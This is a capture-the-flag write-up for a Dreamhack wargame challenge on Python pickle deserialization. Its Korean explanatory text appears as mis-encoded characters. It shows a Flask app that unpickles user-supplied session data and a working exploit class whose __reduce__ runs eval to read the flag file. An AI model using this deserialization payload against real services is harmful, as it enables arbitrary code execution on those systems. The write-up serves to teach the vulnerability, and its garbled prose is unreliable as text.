1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/40
๋ฌธ์ ์์ Python(pickle)์ Deserialize ์ทจ์ฝ์ ์ ์ด์ฉํด์ ๋ฌธ์ ๋ฅผ ํ๋ผ๊ณ ์ ์๋์ด์๋ค.
ํด๋น ์ทจ์ฝ์ ์ ๋ํด์๋ ์ฒ์ ๋ค์ด๋ด์ ์ ๋ฆฌํด๋ณด์๋ค. โผ
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ์ ์
- create Session > ์ ๋ณด ์ ๋ ฅ > create
- sessionID ๋ณต์ฌ ํ check session ์ ๋ ฅ > check
gAN9cQAoWAQAAABuYW1lcQFYBAAAAG1uenlxAlgGAAAAdXNlcmlkcQNYBAAAAHRlc3RxBFgIAAAAcGFzc3dvcmRxBVgEAAAAdGVzdHEGdS4=
(2) ์ฝ๋ ํ์ธ
- secret_key๋ 32๋นํธ์ ๋๋คํ ๊ฐ์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
app.secret_key = os.urandom(32)
- create_session
- post ์์ฒญ์ผ๋ก ์ ๋ณด๋ฅผ ์ ๋ ฅํ์ฌ ์ ์กํ๋ฉด, pickle ๋ชจ๋์ ์ด์ฉํ์ฌ ๋ฐ์ดํธ ๊ฐ์ฒด(bytes)๋ก ๋ฐํ(ํผํด๋ง)ํ ๋ค base64๋ก ์ธ์ฝ๋ฉํ๊ณ UTF-8 ๋ฌธ์์ด๋ก ๋์ฝ๋ฉํ ๋ค data์ ์ ์ฅํ๋ค.
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
- check_session
- POST ์์ฒญ์ผ๋ก session๊ฐ์ ์ ๋ ฅํ์ฌ ์ ์กํ๋ฉด, ์ธ์ ๊ฐ์ ๋ฐ์ด๋๋ฆฌ ๋ฐ์ดํฐ(data)๋ฅผ ์ฝ์ด ์๋ ๊ฐ์ฒด๋ก ๋ณต์(์ธํผํด๋ง)ํ์ฌ info์ ์ ์ฅํ๋ค.
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
๋ฐ๋ผ์, ์ทจ์ฝ์ ์ check_session์์ ์ธํผํด๋งํ ๋ ์กด์ฌํ๋ค.
์ด๋ฅผ ์ต์คํ๋ก์ํ์ฌ ์์์ ์ฝ๋๋ฅผ ์คํํด flag ํ์ผ์ ์ฝ์ด์ค๋ ๋ฐฉ์์ผ๋ก ์งํํ ์ ์๋ค.
(3) ์ต์คํ๋ก์
- ๋จผ์ ํ์ด์ฌ ์ฝ๋๋ฅผ ์์ฑํ์ฌ ๋ฌธ์ ์ฝ๋์์ ์ธ์ ์ ์์ฑํ๋ ๋ฐฉ์๊ณผ ๋์ผํ๊ฒ ์ธ์ ๊ฐ์ ์์ฑํด๋ณผ ์ ์๋ค.
import pickle
import base64
info={'name':'mnzy', 'userid':'test', 'password':'test'}
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)
- ์ด๋ ๊ฒ ์์ฑํ ์ธ์ ์ check_session์ ๋ฃ์ด๋ณด๋ฉด, ๊ฒฐ๊ณผ๊ฐ์ ์ ์์ ์ผ๋ก ์ถ๋ ฅํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๋ฐ๋ผ์ ํผํด๋งํ๋ ์ฝ๋์์ __reduce__๋ฉ์๋๋ฅผ ํตํด ํ๋๊ทธ๋ฅผ ์ฝ๋ ๋ช ๋ น์ด๋ฅผ ์์๋ก ์ถ๊ฐํ์ฌ ์ธ์ ์ ์์ฑํด๋ณผ ์ ์๋ค.
์ด๋, ํ๋๊ทธ๊ฐ์ ์ฝ์ ๊ฒฐ๊ณผ๋ name์ ์ ์ฅํ์ฌ ๊ฒฐ๊ณผํ๋ฉด ์ name์ ์ถ๋ ฅ๋๋๋ก ํ๋ค.
import base64
import pickle
class Exploit:
def __reduce__(self):
return (eval, ("open('./flag.txt').read()",))
exploit = {'name': Exploit(), 'userid':'hi', 'password':'hello'}
data = base64.b64encode(pickle.dumps(exploit)).decode('utf8')
print(data)
์ดํ ์์ฑํ ์ธ์ ๊ฐ์ ์ด์ฉํด์ check_session์ ์ ๋ ฅํ์ฌ ์ธํผํด๋งํ๋ฉด name ๊ฐ์ผ๋ก ํ๋๊ทธ๋ฅผ ์ฝ์ ๊ฐ์ด ์ถ๋ ฅ๋์ด ๋์ฌ ๊ฒ์ด๋ค.